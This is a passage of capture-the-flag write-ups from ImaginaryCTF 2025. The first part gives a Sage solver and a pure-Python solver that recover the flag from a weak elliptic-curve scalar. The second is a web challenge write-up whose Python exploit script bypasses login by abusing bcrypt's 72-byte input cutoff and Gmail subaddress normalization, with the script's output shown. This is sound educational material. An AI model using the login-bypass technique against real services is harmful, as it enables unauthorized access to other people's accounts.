target\_x = 0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5

n = E.order()

r = n.factor(limit=2\*\*10)[3][0] # 457

m = n // r

print(f"[i] #E = {n}")

print(f"[i] r = {r}, m = {m}")

Q = E.lift\_x(target\_x)

s = inverse\_mod(r, m)

P0 = s \* Q

# find kernel generator T of order r

cof = n // r

def kernel\_gen():

while True:

R = E.random\_point()

T = cof \* R

if T != E(0) and r\*T == E(0):

return T

T = kernel\_gen()

# enumerate coset and try to decode x(P)

def try\_decode(xi):

x\_int = int(xi)

raw = x\_int.to\_bytes((x\_int.bit\_length()+7)//8, 'big')

for pad in range(0, 32):

try:

s = (b"\x00"\*pad + raw).decode()

if s.startswith("ictf{") and s.endswith("}"):

return s

if s.isprintable():

return "ictf{" + s + "}"

except: pass

return None

X = P0

for j in range(r):

flag = try\_decode(X.xy()[0])

if flag:

print("[+] Flag:", flag)

break

X += T

Run with Docker:

docker run --rm -it -v "$PWD:/work" -w /work sagemath/sagemath:latest sage solve.sage

**Pure Python Solver (solve\_python.py)**

from random import randrange

# Params

p = int("0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21", 16)

a,b = 5,7

target\_x = int("0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5",16)

n = 1915401112669764832155688444967632063685280552714174698559105795993909088154715053733286568457561836692127326936769038088

r = 457; m = n//r

def inv(x): return pow(x,p-2,p)

def tonelli(n\_,p):

if n\_%p==0: return 0

if pow(n\_,(p-1)//2,p)!=1: return None

q,s = p-1,0

while q%2==0: q//=2; s+=1

z=2

while pow(z,(p-1)//2,p)!=p-1: z+=1

m\_=s; c=pow(z,q,p); t=pow(n\_,q,p); r\_=pow(n\_,(q+1)//2,p)

while t!=1:

i=1; t2=pow(t,2,p)

while t2!=1: t2=pow(t2,2,p); i+=1

b=pow(c,1<<(m\_-i-1),p); m\_=i; c=(b\*b)%p; t=(t\*c)%p; r\_=(r\_\*b)%p

return r\_

O=None

def add(P,Q):

if P is None: return Q

if Q is None: return P

x1,y1=P; x2,y2=Q

if x1==x2 and (y1+y2)%p==0: return O

if P!=Q: lam=((y2-y1)\*inv((x2-x1)%p))%p

else:

if y1%p==0: return O

lam=((3\*x1\*x1+a)\*inv((2\*y1)%p))%p

x3=(lam\*lam-x1-x2)%p; y3=(lam\*(x1-x3)-y1)%p

return (x3,y3)

def mul(k,P):

R=O; Q=P

while k>0:

if k&1: R=add(R,Q)

Q=add(Q,Q); k>>=1

return R

def neg(P): return (P[0],(-P[1])%p) if P else O

def lift\_x(x):

rhs=(pow(x,3,p)+a\*x+b)%p; y=tonelli(rhs,p)

return (x,y) if y else None

Q=lift\_x(target\_x); Qc=[Q,neg(Q)]

# s = r^-1 mod m

def egcd(a,b):

if b==0: return (a,1,0)

g,x,y=egcd(b,a%b); return (g,y,x-(a//b)\*y)

g,x,y=egcd(r,m); s=x%m

P0=mul(s,Q)

# kernel generator T

cof=n//r

def kernel\_gen():

while True:

P=None

while P is None:

P=lift\_x(randrange(1,p))

T=mul(cof,P)

if T and mul(r,T)==O: return T

T=kernel\_gen()

# search coset

def try\_flag(xi):

raw=xi.to\_bytes((xi.bit\_length()+7)//8,'big')

for pad in range(0,32):

buf=(b"\x00"\*pad)+raw

try:

s=buf.decode()

if s.startswith("ictf{") and s.endswith("}"): return s

if s.isprintable(): return "ictf{"+s+"}"

except: pass

return None

X=P0

for j in range(r):

flag=try\_flag(X[0])

if flag: print(flag); break

X=add(X,T)

Run with plain Python 3.

**Lessons Learned**

* [k][k][k] on elliptic curves is only bijective if gcd⁡(k,∣E∣)=1\gcd(k,|E|)=1gcd(k,∣E∣)=1.
* Using a scalar that shares a factor with the group order makes inversion possible.
* Always ensure curve parameters are chosen so that scalars in crypto protocols are safe.

✅ **Flag:**

ictf{mayb3\_d0nt\_m4ke\_th3\_sca1ar\_a\_f4ctor\_0f\_the\_ord3r}

**ImaginaryCTF 2025 – Passwordless (Web)**

**Category:** Web  
**Challenge:** Passwordless  
**Flag:** ictf{8ee2ebc4085927c0dc85f07303354a05}

**Challenge Overview**

We are given a simple Express.js application with login/registration.  
The key routes:

* /register → creates a new user with a random password (email + randomHex(16))
* /session → login (checks bcrypt.compareSync(password, hash))
* /dashboard → restricted page that reveals the flag:

<span id="flag"><%- process.env.FLAG %></span>

At first glance, there’s no way to get the random password because the server never emails it.

**Vulnerability**

The issue lies in how the initial password is generated and stored:

const initialPassword = req.body.email + crypto.randomBytes(16).toString('hex')

bcrypt.hash(initialPassword, 10, ...)

But bcrypt has a **72-byte input limit**: anything after 72 bytes is ignored.  
That means if we make our email very long, the random suffix will be beyond byte 72 and completely discarded.

So, effectively, the stored hash only depends on the first 72 bytes of the email string we control.

**Bypassing Normalization**

The server normalizes email addresses with normalize-email before storing and logging in.  
That means we can’t just use a giant raw email — it must normalize down to something valid and ≤64 characters.

Luckily, Gmail addresses support **subaddressing** (+tag).  
Example:

* Raw input: a+AAAAAA...@gmail.com (hundreds of As)
* Normalized form: a@gmail.com (tag stripped, under 64 chars)

Thus:

1. On registration, the app stores a user a@gmail.com with a bcrypt hash of the **first 72 bytes** of our raw email.
2. On login, we just supply a@gmail.com and use that 72-byte prefix as the password → bcrypt matches → we are authenticated.

**Exploit Script**

Here’s the Python one-shot exploit we used:

import requests, re

BASE = "http://passwordless.chal.imaginaryctf.org"

s = requests.Session()

# 1) Craft emails

base\_local = "a"

tag = "A" \* 300

domain = "gmail.com"

raw\_email = f"{base\_local}+{tag}@{domain}"

norm\_email = f"{base\_local}@{domain}"

# 2) First 72 bytes = effective bcrypt password

pwd72 = raw\_email[:72]

# 3) Register

s.post(f"{BASE}/user", data={"email": raw\_email})

# 4) Login

s.post(f"{BASE}/session", data={"email": norm\_email, "password": pwd72})

# 5) Fetch dashboard for flag

r = s.get(f"{BASE}/dashboard")

m = re.search(r'<span id="flag">(.\*?)</span>', r.text)

print("FLAG:", m.group(1))

**Result**

Running the script:

[\*] Register status: 200

[\*] Login status: 200

[\*] Dashboard status: 200

[+] FLAG: ictf{8ee2ebc4085927c0dc85f07303354a05}

**Takeaways**

* Always be mindful of cryptographic library limits (bcrypt’s 72-byte cutoff).
* Never base secrets on untrusted input like emails.
* Input normalization (normalize-email) can introduce unexpected collisions/shortcuts.

**Final Flag:**

ictf{8ee2ebc4085927c0dc85f07303354a05}